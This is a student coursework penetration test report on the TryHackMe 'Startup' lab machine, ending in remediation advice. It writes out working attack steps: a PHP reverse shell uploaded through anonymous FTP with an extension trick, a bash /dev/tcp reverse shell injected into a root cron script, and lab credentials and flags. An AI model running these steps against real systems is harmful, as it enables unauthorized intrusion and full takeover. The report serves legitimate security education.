

# PENETRATION TEST REPORT

Startup — TryHackMe CTF Room

---

Prepared by:

**Ahmad Shoukat**

BETS — British Education & Training Systems

*Class Work | Ethical Hacking & Penetration Testing*

Target IP: 10.113.168.217 | Attacker IP: 10.113.174.222

**Date: 4 May 2026 | Classification: CONFIDENTIAL**

## 1. Executive Summary

---

This report presents the findings of a penetration test conducted against the target machine hosted in the TryHackMe Startup room as part of practical coursework at BETS (British Education & Training Systems). The objective was to identify, exploit, and document security vulnerabilities on the target host (10.113.168.217).

The assessment revealed multiple critical security weaknesses, including anonymous FTP access with write permissions, a writable web-accessible directory, and a misconfigured cron-executed script owned by a low-privileged user — all of which chained together to achieve full root-level compromise. Both the user flag and root flag were successfully captured.

### Assessment Summary

|                         |                                             |
|-------------------------|---------------------------------------------|
| <b>Report Title</b>     | Startup — TryHackMe Penetration Test Report |
| <b>Target Host</b>      | 10.113.168.217                              |
| <b>Attacker Machine</b> | 10.113.174.222 (TryHackMe AttackBox)        |
| <b>Assessment Date</b>  | 4 May 2026                                  |
| <b>Assessor</b>         | Ahmad Shoukat                               |
| <b>Institution</b>      | BETS — British Education & Training Systems |
| <b>Classification</b>   | Class Work / Educational                    |
| <b>Outcome</b>          | Full system compromise — Root achieved      |

## 2. Scope & Methodology

---

### 2.1 Scope

The assessment was limited to a single target host within the TryHackMe network environment. No lateral movement to other machines was intended or performed.

|                       |                                                      |
|-----------------------|------------------------------------------------------|
| <b>Target IP</b>      | 10.113.168.217                                       |
| <b>Ports in Scope</b> | All TCP/UDP ports                                    |
| <b>Environment</b>    | TryHackMe Isolated Lab Network                       |
| <b>Tools Used</b>     | Nmap, FTP Client, Netcat, Python3, PHP Reverse Shell |

## 2.2 Methodology

The following penetration testing phases were executed sequentially:

- Reconnaissance — Nmap service/version scan to enumerate open ports and running services.
- Enumeration — FTP anonymous login, directory browsing, file download and analysis.
- Initial Access — Upload and execution of a PHP reverse shell via writable FTP directory exposed on the web server.
- Post-Exploitation — PCAP analysis to recover credentials, lateral movement to user lennie.
- Privilege Escalation — Exploitation of a cron-executed shell script owned by the current user to inject a reverse shell and obtain root.
- Reporting — Documentation of all findings, captured flags, and remediation recommendations.

## 3. Reconnaissance — Nmap Scan

An Nmap service/version scan was performed against the target to identify open ports and running services.

**Command executed:**

```
nmap -sC -sV 10.113.168.217
```

### 3.1 Open Ports Discovered

| # | Port   | Service | Version                      | Risk Level |
|---|--------|---------|------------------------------|------------|
| 1 | 21/tcp | FTP     | vsftpd 3.0.3                 | Critical   |
| 2 | 22/tcp | SSH     | OpenSSH 7.2p2 Ubuntu         | Medium     |
| 3 | 80/tcp | HTTP    | Apache httpd 2.4.18 (Ubuntu) | High       |

### 3.2 Key Observations

- **FTP (Port 21): Anonymous login was permitted. The root FTP directory contained an ftp/ subdirectory with full rwxrwxrwx (world-writable) permissions.**
- SSH (Port 22): Standard OpenSSH service. No publicly known exploits for this version.
- HTTP (Port 80): Apache web server showing a maintenance page. Directory traversal revealed the web root serves the FTP directory.

## 4. Enumeration — FTP Anonymous Access

---

FTP was accessed anonymously without any credentials. The following files were found in the root:

- important.jpg — An image file (251,631 bytes)
- notice.txt — A text file (208 bytes)
- ftp/ — A subdirectory with world-writable permissions (drwxrwxrwx)

### 4.1 Critical Finding — Writable FTP Directory

The ftp/ subdirectory allowed any unauthenticated user to upload files. Further analysis confirmed that this directory was accessible via the web server at <http://10.113.168.217/files/ftp/>, meaning any uploaded file could be executed as a web resource — creating a direct path to Remote Code Execution (RCE).

## 5. Initial Access — PHP Reverse Shell Upload

---

### 5.1 Preparing the Reverse Shell

A PHP reverse shell was copied from the AttackBox tool library, configured with the attacker IP and listening port, and uploaded to the writable FTP directory.

**Shell configuration:**

```
$ip = '10.113.174.222'; // Attacker machine IP
$port = 4444; // Listening port
```

### 5.2 Upload via FTP

```
ftp 10.113.168.217
Name: Anonymous
ftp> cd ftp
ftp> put shell.ph
ftp> rename shell.ph shell.php
```

Note: The file was initially uploaded with a .ph extension to bypass any potential upload filters, then renamed to .php on the server.

### 5.3 Triggering the Shell

A Netcat listener was started on the attacker machine, and the shell was triggered by navigating to the uploaded file URL via a browser:

```
nc -lvnp 4444
# Then navigate to: http://10.113.168.217/files/ftp/shell.php
```

## 5.4 Shell Received

```
Connection received on 10.113.168.217 52680
Linux startup 4.4.0-190-generic #220-Ubuntu SMP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

Initial shell obtained as www-data (Apache web server user).

# 6. Post-Exploitation — Enumeration & Credential Discovery

---

## 6.1 Secret Ingredient — recipe.txt

A file named recipe.txt was discovered in the filesystem root:

```
cat /recipe.txt
```

Contents revealed the answer to the first challenge flag question: the secret ingredient is love.

## 6.2 PCAP Analysis — suspicious.pcapng

An incidents directory was found at /incidents/ containing a suspicious network capture file:

- File: /incidents/suspicious.pcapng

The PCAP was copied to the web root for download and subsequent analysis:

```
cp /incidents/suspicious.pcapng /var/www/html/files/ftp/
```

Analysis of the PCAP file revealed credentials for the lennie user account transmitted in cleartext:

|                 |                                      |
|-----------------|--------------------------------------|
| <b>Username</b> | lennie                               |
| <b>Password</b> | c4ntg3t3n0ughsp1c3                   |
| <b>Source</b>   | Network traffic in suspicious.pcapng |

## 6.3 Lateral Movement to User lennie

A full TTY was spawned using Python, and the recovered credentials were used to switch to the lennie user account:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
su lennie
Password: c4ntg3t3n0ughsp1c3
lennie@startup:/incidents$
```

## 6.4 User Flag Captured

```
cat /home/lennie/user.txt
```

**USER FLAG:** THM{03ce3d619b80ccbf3b7fc81e46c0e79}

## 7. Privilege Escalation — Root Access

### 7.1 Discovery — Misconfigured Script

Enumeration of lennie's home directory revealed a scripts/ folder containing two files owned by root:

|                         |                                                            |
|-------------------------|------------------------------------------------------------|
| <b>planner.sh</b>       | Root-owned, world-executable script (rwxr-xr-x)            |
| <b>startup_list.txt</b> | Output file, updated regularly (indicating cron execution) |

The planner.sh script referenced /etc/print.sh as part of its execution. Crucially, /etc/print.sh was found to be owned by lennie with full read/write/execute permissions:

|                    |                                     |
|--------------------|-------------------------------------|
| <b>File</b>        | /etc/print.sh                       |
| <b>Permissions</b> | -rwx----- (700)                     |
| <b>Owner</b>       | lennie                              |
| <b>Called by</b>   | planner.sh (root-executed via cron) |

### 7.2 Exploitation — Injecting Reverse Shell

Since lennie owned /etc/print.sh and planner.sh was executed by root (via a cron job), overwriting /etc/print.sh with a reverse shell payload would cause it to execute as root. A Netcat listener was started on port 5555 and the payload was injected:

```
echo "bash -i >& /dev/tcp/10.113.174.222/5555 0>&1" > /etc/print.sh
# On attacker: nc -lvnp 5555
```

### 7.3 Root Shell Received

```
Connection received on 10.113.168.217 44022
root@startup:~# whoami
root
```

### 7.4 Root Flag Captured

```
cat /root/root.txt
```

**ROOT FLAG:** THM{f963aaa6a430f210222158ae15c3d76d}

## 8. Attack Chain Summary

| Step | Phase                | Action                                                | Result                                       |
|------|----------------------|-------------------------------------------------------|----------------------------------------------|
| 1    | Reconnaissance       | Nmap -sC -sV scan                                     | 3 open ports discovered                      |
| 2    | Enumeration          | Anonymous FTP login                                   | World-writable /ftp directory found          |
| 3    | Initial Access       | PHP reverse shell upload via FTP                      | www-data shell on port 4444                  |
| 4    | Post-Exploitation    | PCAP analysis of suspicious.pcapng                    | Cleartext creds: lennie / c4ntg3t3n0ughsp1c3 |
| 5    | Lateral Movement     | su lennie with recovered password                     | User flag captured                           |
| 6    | Privilege Escalation | Overwrite /etc/print.sh (lennie-owned, root-executed) | Root shell on port 5555                      |
| 7    | Objective Complete   | cat /root/root.txt                                    | Root flag captured                           |

## 9. Vulnerability Assessment

| Finding                                         | Severity        | Description                                                                                                                                                   | Recommendation                                                                                                             |
|-------------------------------------------------|-----------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------|
| Anonymous FTP with Writable Directory           | <b>Critical</b> | FTP server allows anonymous login and permits file uploads to a directory accessible via HTTP, enabling unauthenticated Remote Code Execution.                | Disable anonymous FTP. Apply least-privilege permissions. Remove public web access to FTP directories.                     |
| Sensitive Files in Web Root                     | <b>High</b>     | The FTP-exposed directory is served directly by Apache, meaning any uploaded file can be executed as a web resource.                                          | Segregate FTP storage from web root. Disable PHP execution in upload directories via .htaccess.                            |
| Cleartext Credentials in PCAP                   | <b>High</b>     | User credentials (lennie / c4ntg3t3n0ughsp1c3) were transmitted and captured in plaintext within the suspicious network capture file.                         | Enforce encrypted protocols (SFTP, HTTPS, SSH). Rotate exposed credentials immediately.                                    |
| Cron-Executed Script with User-Owned Dependency | <b>Critical</b> | The root-owned planner.sh cron job calls /etc/print.sh, which is owned and writable by the low-privileged lennie user, allowing trivial privilege escalation. | Set /etc/print.sh ownership to root with restricted permissions (700). Audit all cron jobs for insecure file dependencies. |
| Outdated OS & Services                          | <b>Medium</b>   | Kernel (4.4.0-190) and Apache (2.4.18) are outdated and potentially vulnerable to known exploits.                                                             | Apply all available security patches and upgrade to supported OS and software versions.                                    |

## 10. Captured Flags

|                   |                                       |
|-------------------|---------------------------------------|
| Secret Ingredient | love (from /recipe.txt)               |
| User Flag         | THM{03ce3d619b80ccbf3b7fc81e46c0e79}  |
| Root Flag         | THM{f963aaa6a430f210222158ae15c3d76d} |

## 11. Recommendations

### 11.1 Immediate Actions (Critical)

- **Disable anonymous FTP access on vsftpd immediately.**
- **Remove world-writable permissions from all FTP directories.**
- **Fix cron job insecurity: change /etc/print.sh ownership to root (chmod 700, chown root:root).**
- **Rotate the compromised lennie account password.**

### 11.2 Short-Term Actions (High)

- Segregate FTP storage from the Apache web root directory.
- Disable PHP execution in upload/storage directories using .htaccess directives.
- Enable encrypted file transfer protocols (SFTP) and decommission plain FTP.
- Remove or restrict access to sensitive capture files (/incidents/).

### 11.3 Long-Term Actions (Medium)

- Apply all pending OS and application security patches.
- Implement network segmentation and egress filtering to block reverse shell connections.
- Deploy File Integrity Monitoring (FIM) for critical directories and scripts.
- Conduct regular penetration tests and security audits of all internet-facing services.
- Implement centralized logging and SIEM alerting for anomalous FTP activity and privilege escalation attempts.



## 12. Conclusion

---

The Startup TryHackMe room demonstrated a realistic attack scenario commonly encountered in real-world environments. The combination of anonymous FTP write access, a publicly accessible web directory, plaintext credential exposure in network captures, and a misconfigured cron dependency created a complete exploitation chain from unauthenticated external access to full root compromise.

All identified vulnerabilities are well-understood and can be remediated with standard hardening practices. The most critical finding — the cron privilege escalation vector — highlights the importance of auditing not just file permissions, but the full dependency chain of all scheduled tasks running with elevated privileges.

This assessment was conducted in a controlled educational environment as part of the BETS Ethical Hacking & Penetration Testing curriculum.

*Report prepared by Ahmad Shoukat | BETS | 4 May 2026*